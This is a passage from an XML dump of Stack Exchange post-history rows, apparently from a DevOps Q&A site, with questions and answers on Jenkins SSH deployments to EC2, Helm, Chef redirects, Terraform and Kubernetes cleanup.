needs for tricky applications or production fixes yet to make it into the main configuration for that application profile. &#xA;&#xA;Puppet chooses the most specific configuration settings for the actual hosts. It looks for host specific, not normally needed, then looks for app profile specific settings, not always defined, then uses the default for the OS. Everything is in git and managed by code review of pull requests. It’s proper infrastructure-as-code managed by GitHub Enterprise. &#xA;&#xA;All of the above works for the “standard” software packages used at the organisation. For in-house apps they don’t yet have Kubernetes. Teams launch a “vanilla” Linux blueprint on the VMware vRA portal rather than a specific application blue print. So they might launch an Oracle database blueprint and three vanilla Linux ones to run their java code. With vanilla it has all the access management packages (Centify) and teams just run use scp to upload their java. Teams are using Ansible Tower to upload their Java apps via none root ssh access. That is driven by Jenkins deploy jobs that call out to Ansible Tower." ContentLicense="CC BY-SA 4.0" />
  <row Id="19087" PostHistoryTypeId="5" PostId="5940" RevisionGUID="9909a0d0-9534-4622-ac5a-8b2637e6f8a4" CreationDate="2019-01-10T21:58:28.673" UserId="210" Comment="deleted 13 characters in body" Text="My company is integrating CI/CD, so far we have implemented CI from what I understand. Currently when a developer pushes code to our git repo, the CI pipeline runs. &#xD;&#xA;&#xD;&#xA;Currently our CI pipeline include building the project and the doing static code analysis to make sure it meets our coding standards. We will be implementing testing next. The build and static code analysis take about 3mins right now. From what I have read fixing issues right away is critical to CI/CD. I expect when we add in unit tests that the pipeline could take around 10mins to run.&#xD;&#xA;&#xD;&#xA;So my question is when a developer make a pull/merge request should they wait for the CI pipeline to complete or just move on to the next task and come back to fix pipeline issues if they exists? Or should they sit and watch the pipeline run? " ContentLicense="CC BY-SA 4.0" />
  <row Id="19088" PostHistoryTypeId="2" PostId="5944" RevisionGUID="dda8ea12-c5c1-439f-a22b-2ffb3ba139ab" CreationDate="2019-01-11T06:04:07.870" UserId="11764" Text="Ok so let's assume you have version control tool as Git and CI tool Jenkins.&#xD;&#xA;So Dev creates a feature branch for a issue. You have a multibranch pipeline or a workflow in your CI tool which detects this feature branch in next scan and executes the CI steps.&#xD;&#xA;&#xD;&#xA;So things which must be ensured are:&#xD;&#xA;&#xD;&#xA;1. Before raising PR/MR, the CI job is green. If it is not green, PR/MR should not be raised. Obviously the developer can perform other tasks and then come back and fix issue on this task, that is their choice depending upon task priority. You can even control any PR from being raised by checking it's CI parameters.(If you do not trust your dev that much and they continuously raise PRs for broken builds)&#xD;&#xA;&#xD;&#xA;2. Once PR is raised, a code reviewer will review and merge if everything is OK. Code reviewer can be any other developer. His/her responsibility is to review the code, see if it is within the criteria of &quot;Definition of Done&quot;. DoD is mainly an agile term but agile and DevOps go hands in hand.&#xD;&#xA;&#xD;&#xA;3. Once code is merged the CI for main branch should be green. If not, code should be rolled back and issue should be fixed because generally main branch is also deployed to environments and not rolling back means whole environment will be broken.&#xD;&#xA;&#xD;&#xA;Obviously, post build actions will notify the committer that Hey, you have broken the build, so Devs can perform their other tasks, they will get emails anyways. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19089" PostHistoryTypeId="2" PostId="5945" RevisionGUID="e5456ce1-7a1c-4061-90f3-b6d7f29dba87" CreationDate="2019-01-11T06:23:10.043" UserId="11764" Text="I could have mentioned this in comment first but I need 50 reputation to comment and I just joined this yesterday,&#xD;&#xA;&#xD;&#xA;So, may I know what you are trying to achieve? If I interpret correctly, you want to move your VMs to Docker and then make those docker interact with each other as well as with graphics which is running on host? So consider it this way, you have 4 IP addresses, how would you make the communicate if it is simple LAN? Similarly you do it here. Allow hosts from that IP to work here. &#xD;&#xA;You can customize docker0 bridge to have gateway and CIDRs of your choice by modifying daemon.json&#xD;&#xA;&#xD;&#xA;[Customize the Docker0 bridge][1]&#xD;&#xA;&#xD;&#xA;You can create your user defined networks too.&#xD;&#xA;&#xD;&#xA;May be this will help you too?&#xD;&#xA;[Docker Networking User Guide][2]&#xD;&#xA;&#xD;&#xA;You can even write your own network plugin. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/v17.09/engine/userguide/networking/default_network/custom-docker0/&#xD;&#xA;  [2]: https://docs.docker.com/v17.09/engine/userguide/networking/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19090" PostHistoryTypeId="2" PostId="5946" RevisionGUID="5708b4de-2e5b-4ed2-9489-ed3a44e07a04" CreationDate="2019-01-11T06:36:52.463" UserId="11764" Text="Probably, you want need to go through something like [Ansible][1] first. Nothing is done manually these days, not even launching of EC2 instances or creating a VPC is manual and if it is, it needs to be changed immediately. You may also go through [Terraform][2]. You also need to understand CI/CD flow. So when any changes are pushed to git, a CI mechanism will execute which can include build, compile, unit test execution, integration test execution, code coverage reports etc which are all automated. Deployment can either be automated if CI is successful or on click of a button. Ansible can take care of the configuration changes which needs to be deployed including the application code changes. In fact, if you are in AWS, why don't you go for docker and deploy app in Docker using benefits of Amazon ECS. A Terraform code can do zero downtime deployments for you. &#xD;&#xA;This is not specific to Django. It is used for any tech stack.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ansible.com/&#xD;&#xA;  [2]: https://www.terraform.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19091" PostHistoryTypeId="2" PostId="5947" RevisionGUID="928bbadc-eb49-4caf-b1fe-751abf1a687a" CreationDate="2019-01-11T06:40:03.160" UserId="11764" Text="Why don't you use [Terraform][1] for the purpose? It can launch as many instances you want, create network for you, create security groups, ECS, IAMs or whatever you want to create and terminate easily when you want. This is widely used in industry now.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19092" PostHistoryTypeId="50" PostId="5691" RevisionGUID="10936ca2-0fb2-4245-9249-c07e91cc2ddc" CreationDate="2019-01-11T07:01:25.300" UserId="-1" />
  <row Id="19094" PostHistoryTypeId="2" PostId="5949" RevisionGUID="14cada6c-27e3-435a-b111-37e48a88ca09" CreationDate="2019-01-11T07:41:26.307" UserId="8385" Text="I want to transfer files and execute a few commands on remote AWS instance from Jenkins. I have the following methods in mind to do the same.&#xD;&#xA;Note that my Jenkins server is running in the local server, and I don't have SSH access to Jenkins&#xD;&#xA;&#xD;&#xA;1) Using hardcoded pem file&#xD;&#xA;I have following scripted pipeline to transfer files from Jenkins pipeline to AWS EC2 instance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    stage('transfer docker image to ec2') {&#xD;&#xA;      sh 'scp -oIdentityFile=/var/lib/jenkins/.key.pem docker_image.tar ubuntu@ec2-3-83-239-32.compute-1.amazonaws.com:'&#xD;&#xA;&#xD;&#xA;However it is not working, and waiting for a long time without showing logs.&#xD;&#xA;&#xD;&#xA;2) Using Jenkins &quot;credential&quot;&#xD;&#xA;&#xD;&#xA;I have added the pem file in Jenkins credential, and then invoked the credential by the following method. (Referred from - https://stackoverflow.com/a/47627460/9403545)&#xD;&#xA;&#xD;&#xA;    withCredentials([sshUserPrivateKey(credentialsId: &quot;bindu-test&quot;, keyFileVariable: 'keyfile')]) {&#xD;&#xA;     stage('transfer docker image to ec2') {&#xD;&#xA;      sh 'scp -i ${keyfile} test ubuntu@ec2-x-83-xxx-32.compute-1.amazonaws.com:'&#xD;&#xA;&#xD;&#xA;Unfortunately, the above method also didn't work and got the following error.&#xD;&#xA;&#xD;&#xA;&gt; /tmp/../Hello directory doesn't exist.&#xD;&#xA;&#xD;&#xA;I have tried to use Publish over SSH, but it doesn't seem to be supported in scripted pipeline.&#xD;&#xA;&#xD;&#xA;Is there any way I can do this?&#xD;&#xA;P.S: Please keep in mind that I'm AWS newbie, it would be nice if the answer is in detail :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19095" PostHistoryTypeId="1" PostId="5949" RevisionGUID="14cada6c-27e3-435a-b111-37e48a88ca09" CreationDate="2019-01-11T07:41:26.307" UserId="8385" Text="Transfer files and execute commands from jenkins scripted pipeline to AWS instance" ContentLicense="CC BY-SA 4.0" />
  <row Id="19096" PostHistoryTypeId="3" PostId="5949" RevisionGUID="14cada6c-27e3-435a-b111-37e48a88ca09" CreationDate="2019-01-11T07:41:26.307" UserId="8385" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;jenkins-pipeline&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19099" PostHistoryTypeId="2" PostId="5950" RevisionGUID="150d6604-c593-4aaf-ae4b-347a049ff200" CreationDate="2019-01-11T08:58:43.050" UserId="9222" Text="Hi and sorry for this stupid question :)&#xD;&#xA;&#xD;&#xA;I want to deploy helm chart from Jenkins to Kubernetes but i don't find any Plugins in Jenkins for Helm.&#xD;&#xA;&#xD;&#xA;How i can tell Jenkins to run Helm chart in Kubernetes ? &#xD;&#xA;&#xD;&#xA;Sorry again for the stupid question" ContentLicense="CC BY-SA 4.0" />
  <row Id="19100" PostHistoryTypeId="1" PostId="5950" RevisionGUID="150d6604-c593-4aaf-ae4b-347a049ff200" CreationDate="2019-01-11T08:58:43.050" UserId="9222" Text="Deploy helm chart from Jenkins to kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="19101" PostHistoryTypeId="3" PostId="5950" RevisionGUID="150d6604-c593-4aaf-ae4b-347a049ff200" CreationDate="2019-01-11T08:58:43.050" UserId="9222" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;jenkins-plugins&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19102" PostHistoryTypeId="2" PostId="5951" RevisionGUID="9d67634a-ddeb-4389-9326-90af5d6c8d24" CreationDate="2019-01-11T09:41:25.577" UserId="11598" Text="You can use '**Publish Over SSH plugin**'. Using this plugin you can send files and execute the command on the remote server.&#xD;&#xA;&#xD;&#xA;[Click Here For install plugin.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#Configure&#xD;&#xA;1.  Click “Manage Jenkins”&#xD;&#xA;2.  Click “Configure System”&#xD;&#xA;3.  Go to “Publish over SSH” section&#xD;&#xA;4.  Enter “/Users/Shared/Jenkins/.ssh/id_rsa” to “Path to Key”&#xD;&#xA;5.  Click “Add” at “SSH Servers”&#xD;&#xA;6.  Enter any logical name to “Name”&#xD;&#xA;7.  Enter IP Address or Hostname of the server to “Hostname”&#xD;&#xA;8.  Enter the user name to log in to “Username”&#xD;&#xA;9.  Enter any directory to “Remote Directory”&#xD;&#xA;10. Click “Test Configuration”&#xD;&#xA;11. Click “Save” at bottom of the page&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#Create a job&#xD;&#xA;1. Create or copy a job that can build the WAR correctly.&#xD;&#xA;2. As I wrote in How to specify a Git tag to be processed, make a job to can specify a &#xD;&#xA;   tag to be processed.&#xD;&#xA;3. Click “Add post-build action”&#xD;&#xA;4. Click “Send build artifacts over SSH”&#xD;&#xA;5. Enter “Source files”&#xD;&#xA;6. Enter “Remove prefix”&#xD;&#xA;7. Enter “Exec command”&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For More reference:&#xD;&#xA;&#xD;&#xA;1. https://nozaki.me/roller/kyle/entry/articles-jenkins-sshdeploy&#xD;&#xA;2. https://medium.com/@weblab_tech/how-to-publish-artifacts-in-jenkins-f021b17fde71&#xD;&#xA;3. https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/mHsAV.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/rlpr2.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="19103" PostHistoryTypeId="2" PostId="5952" RevisionGUID="957b72ba-b70f-46f9-a151-4c5357c4ba77" CreationDate="2019-01-11T09:45:41.320" UserId="11598" Text="To restart Jenkins manually, you can use either of the following commands (by entering their URL in a browser):&#xD;&#xA;&#xD;&#xA;`(jenkins_url)/safeRestart` - Allows all running jobs to complete. New jobs will remain in the queue to run after the restart is complete.&#xD;&#xA;&#xD;&#xA;`(jenkins_url)/restart` - Forces a restart without waiting for builds to complete." ContentLicense="CC BY-SA 4.0" />
  <row Id="19104" PostHistoryTypeId="2" PostId="5953" RevisionGUID="a281c5e1-9bcc-4e72-a081-9d8fd53ac745" CreationDate="2019-01-11T09:47:49.933" UserId="11598" Text="To restart Jenkins manually, you can use either of the following commands (by entering their URL in a browser):&#xD;&#xA;&#xD;&#xA;`(jenkins_url)/safeRestart` - Allows all running jobs to complete. New jobs will remain in the queue to run after the restart is complete.&#xD;&#xA;&#xD;&#xA;`(jenkins_url)/restart` - Forces a restart without waiting for builds to complete." ContentLicense="CC BY-SA 4.0" />
  <row Id="19105" PostHistoryTypeId="5" PostId="5951" RevisionGUID="8add1c46-e6ca-4199-8d7a-954eaae5e0f3" CreationDate="2019-01-11T11:19:47.920" UserId="11598" Comment="add pipeline script" Text="You can use '**Publish Over SSH plugin**'. Using this plugin you can send files and execute the command on the remote server.&#xD;&#xA;&#xD;&#xA;[Click Here For install plugin.][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#Configure&#xD;&#xA;1.  Click “Manage Jenkins”&#xD;&#xA;2.  Click “Configure System”&#xD;&#xA;3.  Go to “Publish over SSH” section&#xD;&#xA;4.  Enter “/Users/Shared/Jenkins/.ssh/id_rsa” to “Path to Key”&#xD;&#xA;5.  Click “Add” at “SSH Servers”&#xD;&#xA;6.  Enter any logical name to “Name”&#xD;&#xA;7.  Enter IP Address or Hostname of the server to “Hostname”&#xD;&#xA;8.  Enter the user name to log in to “Username”&#xD;&#xA;9.  Enter any directory to “Remote Directory”&#xD;&#xA;10. Click “Test Configuration”&#xD;&#xA;11. Click “Save” at bottom of the page&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;#Create a job&#xD;&#xA;1. Create or copy a job that can build the WAR correctly.&#xD;&#xA;2. As I wrote in How to specify a Git tag to be processed, make a job to can specify a &#xD;&#xA;   tag to be processed.&#xD;&#xA;3. Click “Add post-build action”&#xD;&#xA;4. Click “Send build artifacts over SSH”&#xD;&#xA;5. Enter “Source files”&#xD;&#xA;6. Enter “Remove prefix”&#xD;&#xA;7. Enter “Exec command”&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For More reference:&#xD;&#xA;&#xD;&#xA;1. https://nozaki.me/roller/kyle/entry/articles-jenkins-sshdeploy&#xD;&#xA;2. https://medium.com/@weblab_tech/how-to-publish-artifacts-in-jenkins-f021b17fde71&#xD;&#xA;3. https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;you can also do the same thing in pipeline script, see below images:&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Publish+Over+SSH+Plugin&#xD;&#xA;  [2]: https://i.stack.imgur.com/mHsAV.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/rlpr2.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/XdynF.png&#xD;&#xA;&#xD;&#xA;    node(master)&#xD;&#xA;    {&#xD;&#xA;      stage(Deploy)&#xD;&#xA;      {&#xD;&#xA;         sshPublisher(publishers: [sshPublisherDesc(configName: 'LAB-35', transfers: [sshTransfer(cleanRemote: false, excludes: '', execCommand: 'apt-get update', execTimeout: 120000, flatten: false, makeEmptyDirs: false, noDefaultExcludes: false, patternSeparator: '[, ]+', remoteDirectory: '', remoteDirectorySDF: false, removePrefix: '', sourceFiles: '*.war')], usePromotionTimestamp: false, useWorkspaceInPromotion: false, verbose: false)])&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Here configName: 'LAB-35' is your remote ssh server. " ContentLicense="CC BY-SA 4.0" />
  <row Id="19106" PostHistoryTypeId="2" PostId="5954" RevisionGUID="e77f26ba-92eb-4d8d-9cab-100cabbba6cd" CreationDate="2019-01-11T11:56:31.377" UserId="11780" Text="I'm looking for a tool/service that will achieve a similar result as Heroku Review Apps using Google services.&#xD;&#xA;&#xD;&#xA;When a new pull-request is created in Github:&#xD;&#xA;&#xD;&#xA;- Create new Cloud Build trigger for it with a given template configuration.&#xD;&#xA;- When done with build, create new deployment for it in Kubernetes Engine given template configuration.&#xD;&#xA;- Provide the public URL in the Github PR&#xD;&#xA;&#xD;&#xA;When PR is closed:&#xD;&#xA;&#xD;&#xA;- Remove trigger, container and deployment&#xD;&#xA;- Remove public URL from Github pull-request." ContentLicense="CC BY-SA 4.0" />
  <row Id="19107" PostHistoryTypeId="1" PostId="5954" RevisionGUID="e77f26ba-92eb-4d8d-9cab-100cabbba6cd" CreationDate="2019-01-11T11:56:31.377" UserId="11780" Text="Automatic Kubernetes deployments per Github pull-request" ContentLicense="CC BY-SA 4.0" />
  <row Id="19108" PostHistoryTypeId="3" PostId="5954" RevisionGUID="e77f26ba-92eb-4d8d-9cab-100cabbba6cd" CreationDate="2019-01-11T11:56:31.377" UserId="11780" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19109" PostHistoryTypeId="2" PostId="5955" RevisionGUID="99ea35f3-a822-4505-9600-79f4eead24f3" CreationDate="2019-01-11T12:48:07.810" UserId="10599" Text="I don’t know of a specific tool but I have setup a lot of webhook handlers on OKD kubernetes to do git driven updates to kubernetes. All the scripts are on GitHub as [OCD][1]. The tools I used are:&#xA;&#xA; 1. [adnanh/webook][2] a go binary that you configure to catch git webhooks and run scripts. Here is my [hooks.json][3] config to match GitHub release events and run a build script on openshift kubernetes. Looking at the docs there are [PR events][4] you can match on. So you should be able to setup Webhooks to fire on PRs and trigger s2i builds.&#xA;&#xA; 2. [hub][5] is GitHubs official command-line tool. I put it into my tools image that runs my webhooks. It has some pull request commands. I haven’t checked them against your stated requirements. Hub is just a wrapper to their API so worst case you would need to use curl to update PRs. &#xA;&#xA; 3. [Helm][6] is the installer/template engine I use for creating apps. [Helmfile][7] is an excellent extension. So here is a [generic “deployer”][8] helm chart that can spin up an deployment. So OCD responds to GitHub events of new Helmfile declarative configuration being pushed and deploys or updated any helm releases modified in git. &#xA;&#xA;For builds I had to do quite a bit to have an OKD container build tag the final container image with the GitHub release tag which is a [generic “builder”][9] helm chart. I think that is necessary as each PR will need by tagged with the PR number in the container registry to deploy from that specific tag. I haven’t ever tried to get OKD to build a `refs/pull` but I would be shocked it didn’t work as expected. &#xA;&#xA;So while OCD doesn’t yet spin up builds and deploys based on PR events it appears is likely that could be extended to do that. We are currently migrating our apps from our in-house scripts over to OCD. After that PR previews it could be a very cool feature to add.  Feel free to raise a feature request. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://github.com/ocd-scm/ocd-builder-webhook/blob/master/hooks.json&#xA;  [4]: https://developer.github.com/v3/activity/events/types/&#xA;  [5]: https://hub.github.com/hub.1.html&#xA;  [6]: https://docs.helm.sh&#xA;  [7]: https://github.com/roboll/helmfile&#xA;  [8]: https://github.com/ocd-scm/ocd-deployer&#xA;  [9]: https://github.com/ocd-scm/ocd-builder" ContentLicense="CC BY-SA 4.0" />
  <row Id="19110" PostHistoryTypeId="5" PostId="5955" RevisionGUID="5f4a193c-e5a7-4627-8762-53a496b0e4a3" CreationDate="2019-01-11T13:57:47.733" UserId="10599" Comment="added 2 characters in body; added 2 characters in body" Text="I don’t know of a specific tool but I have setup a lot of webhook handlers on OKD kubernetes to do git driven updates to kubernetes. All the scripts are on GitHub as [OCD][1]. The tools I used are:&#xA;&#xA; 1. [adnanh/webook][2] a go binary that you configure to catch git webhooks and run scripts. Here is my [hooks.json][3] config to match GitHub release events and run a build script on openshift kubernetes. Looking at the docs there are [PR events][4] you can match on. So you should be able to setup Webhooks to fire on PRs and trigger s2i builds.&#xA;&#xA; 2. [hub][5] is GitHubs official command-line tool. I put it into my tools image that runs my webhooks. It has some pull request commands. I haven’t checked them against your stated requirements. Hub is just a wrapper to their API so worst case you would need to use curl to update PRs. &#xA;&#xA; 3. [Helm][6] is the installer/template engine I use for creating apps. [Helmfile][7] is an excellent extension. So here is a [generic “deployer”][8] helm chart that can spin up a deployment. So OCD responds to GitHub events of new Helmfile declarative configuration being pushed and deploys or updated any helm releases modified in git. &#xA;&#xA;For builds I had to do quite a bit to have an OKD container build tag the final container image with the GitHub release tag which is a [generic “builder”][9] helm chart. I think that is necessary as each PR will need by tagged with the PR number in the container registry to deploy from that specific tag. I haven’t ever tried to get OKD to build a `refs/pull` but I would be shocked it didn’t work as expected. &#xA;&#xA;So while OCD doesn’t yet spin up builds and deploys based on PR events it appears is likely that it could be extended to do that. We are currently migrating our apps from our in-house scripts over to OCD. After that “PR previews” it could be a very cool feature to add.  Feel free to raise a feature request. &#xA;&#xA;&#xA;  [1]: https://github.com/ocd-scm/ocd-meta/blob/master/README.md&#xA;  [2]: https://github.com/adnanh/webhook&#xA;  [3]: https://github.com/ocd-scm/ocd-builder-webhook/blob/master/hooks.json&#xA;  [4]: https://developer.github.com/v3/activity/events/types/&#xA;  [5]: https://hub.github.com/hub.1.html&#xA;  [6]: https://docs.helm.sh&#xA;  [7]: https://github.com/roboll/helmfile&#xA;  [8]: https://github.com/ocd-scm/ocd-deployer&#xA;  [9]: https://github.com/ocd-scm/ocd-builder" ContentLicense="CC BY-SA 4.0" />
  <row Id="19112" PostHistoryTypeId="5" PostId="5950" RevisionGUID="a05f7dc7-ebcf-4249-890d-e8c0171f0152" CreationDate="2019-01-11T14:52:08.060" UserDisplayName="user10486" Comment="Corrected text" Text="I want to deploy helm chart from Jenkins to Kubernetes but I don't find any Plugins in Jenkins for Helm.&#xD;&#xA;&#xD;&#xA;How I can tell Jenkins to run Helm chart in Kubernetes ? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19113" PostHistoryTypeId="4" PostId="5950" RevisionGUID="a05f7dc7-ebcf-4249-890d-e8c0171f0152" CreationDate="2019-01-11T14:52:08.060" UserDisplayName="user10486" Comment="Corrected text" Text="Deploy helm chart from Jenkins to Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="19114" PostHistoryTypeId="24" PostId="5950" RevisionGUID="a05f7dc7-ebcf-4249-890d-e8c0171f0152" CreationDate="2019-01-11T14:52:08.060" Comment="Proposed by 10486 approved by -1 edit id of 914" ContentLicense="CC BY-SA 4.0" />
  <row Id="19115" PostHistoryTypeId="5" PostId="5950" RevisionGUID="602f4f19-1edd-48e8-91e3-4447280c2ddb" CreationDate="2019-01-11T14:52:08.060" UserId="40" Comment="edited body" Text="I want to deploy helm chart from Jenkins to Kubernetes but I don't find any Plugins in Jenkins for Helm.&#xD;&#xA;&#xD;&#xA;How can I tell Jenkins to run Helm chart in Kubernetes ? &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19116" PostHistoryTypeId="50" PostId="5700" RevisionGUID="e2a82b85-5c6b-46f1-9032-495cb0900ba0" CreationDate="2019-01-11T15:02:55.577" UserId="-1" />
  <row Id="19117" PostHistoryTypeId="50" PostId="5620" RevisionGUID="b10d25e7-b394-41de-8e8a-9a55ddcfe7b8" CreationDate="2019-01-11T16:01:40.320" UserId="-1" />
  <row Id="19118" PostHistoryTypeId="2" PostId="5957" RevisionGUID="d77f2cc9-2467-4971-8b76-9afdd9d3fd0b" CreationDate="2019-01-11T20:03:48.007" UserId="11793" Text="I am trying to implement the below wget download command using chef remote_file resource. But I couldn't find a way to avoid the re-directions. The url that I am trying to access may sometimes be redirected to my ISP bill reminder page. And chef remote_file resource downloads this bill reminder html page as a zip file.&#xD;&#xA;&#xD;&#xA;```wget -N  --max-redirect=0 http://www.someurl.com/file.zip```&#xD;&#xA;&#xD;&#xA;The chef recipe resource is &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;remote_file &quot;#{node['download-zip-path']}/#{zip}&quot; do&#xD;&#xA;	source &quot;http://www.someurl.com/#{zip}&quot;&#xD;&#xA;	action :create&#xD;&#xA;    notifies :run, 'execute[unzip_file]', :delayed&#xD;&#xA;end&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The --max-redirect=0 flag in wget makes sure that there isn't any redirection to ISP page. I can achieve the same using ruby's open-uri or NET::HTTP but is there any native chef way to achieve this no redierction?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19119" PostHistoryTypeId="1" PostId="5957" RevisionGUID="d77f2cc9-2467-4971-8b76-9afdd9d3fd0b" CreationDate="2019-01-11T20:03:48.007" UserId="11793" Text="Chef remote_file set maximum number of re-directions to zero" ContentLicense="CC BY-SA 4.0" />
  <row Id="19120" PostHistoryTypeId="3" PostId="5957" RevisionGUID="d77f2cc9-2467-4971-8b76-9afdd9d3fd0b" CreationDate="2019-01-11T20:03:48.007" UserId="11793" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19121" PostHistoryTypeId="5" PostId="5957" RevisionGUID="4b62ff8f-6530-4b23-8649-6da83c8114e8" CreationDate="2019-01-11T20:30:47.197" UserId="11793" Comment="added 21 characters in body" Text="I am trying to implement the below wget download command using chef remote_file resource. But I couldn't find a way to avoid the re-directions. The url that I am trying to access may sometimes be redirected to my ISP bill reminder page. And chef remote_file resource downloads this bill reminder html page as a zip file.&#xD;&#xA;&#xD;&#xA;```wget -N  --max-redirect=0 http://www.someurl.com/file.zip```&#xD;&#xA;&#xD;&#xA;The chef recipe resource is &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;remote_file &quot;#{node['download-zip-path']}/#{zip}&quot; do&#xD;&#xA;	source &quot;http://www.someurl.com/#{zip}&quot;&#xD;&#xA;	action :create&#xD;&#xA;    notifies :run, 'execute[unzip_file]', :delayed&#xD;&#xA;end&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The --max-redirect=0 flag in wget makes sure that there isn't any redirection to ISP page. I can achieve the same using ruby's open-uri or execute command resource but is there any native chef way to achieve this no/zero re-direction?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19122" PostHistoryTypeId="2" PostId="5958" RevisionGUID="88431c6a-d694-437b-9b09-8feacec13d5b" CreationDate="2019-01-12T10:22:18.837" UserId="11797" Text="Below is sample groovy code for sending file or execute command over SSH in jenkins: &#xD;&#xA;&#xD;&#xA;    node(master)&#xD;&#xA;    {&#xD;&#xA;      stage(Deploy)&#xD;&#xA;      {&#xD;&#xA;         sshPublisher(publishers: [sshPublisherDesc(configName: 'SERVER_NAME', transfers: [sshTransfer(cleanRemote: false, excludes: '', execCommand: 'apt-get update', execTimeout: 120000, flatten: false, makeEmptyDirs: false, noDefaultExcludes: false, patternSeparator: '[, ]+', remoteDirectory: '', remoteDirectorySDF: false, removePrefix: '', sourceFiles: '*.war')], usePromotionTimestamp: false, useWorkspaceInPromotion: false, verbose: false)])&#xD;&#xA;      }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="19123" PostHistoryTypeId="50" PostId="5709" RevisionGUID="5175babb-0c80-4294-bcfa-c1b9cd5b2a0b" CreationDate="2019-01-12T13:03:15.740" UserId="-1" />
  <row Id="19127" PostHistoryTypeId="2" PostId="5960" RevisionGUID="0e0f007c-00d8-4472-a774-2a8ee1db30bf" CreationDate="2019-01-12T15:16:02.487" UserId="210" Text="In our company multiple stakeholders create test systems in k8s that they forget to remove. The aim is to remove namespaces that are older than one week automatically. Is there a certain operator that is able to do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19128" PostHistoryTypeId="1" PostId="5960" RevisionGUID="0e0f007c-00d8-4472-a774-2a8ee1db30bf" CreationDate="2019-01-12T15:16:02.487" UserId="210" Text="How to automatically remove k8s namespaces every week?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19129" PostHistoryTypeId="3" PostId="5960" RevisionGUID="0e0f007c-00d8-4472-a774-2a8ee1db30bf" CreationDate="2019-01-12T15:16:02.487" UserId="210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19130" PostHistoryTypeId="2" PostId="5961" RevisionGUID="e254d8ed-b1f0-4f2e-b403-af8baeea655d" CreationDate="2019-01-12T15:26:43.643" UserId="210" Text="I have not try it myself yet, but [k8s-deploy][1] looks promising.&#xD;&#xA;&#xD;&#xA;Other potential products that I have not tried yet:&#xD;&#xA;&#xD;&#xA; - https://github.com/argoproj/argo-cd&#xD;&#xA; - https://github.com/hasura/gitkube&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My aim is to evaluate these tools and I hope that you could try the same and reply to this post. As soon as I find out what tool works nice I will let you know.&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Shopify/kubernetes-deploy" ContentLicense="CC BY-SA 4.0" />
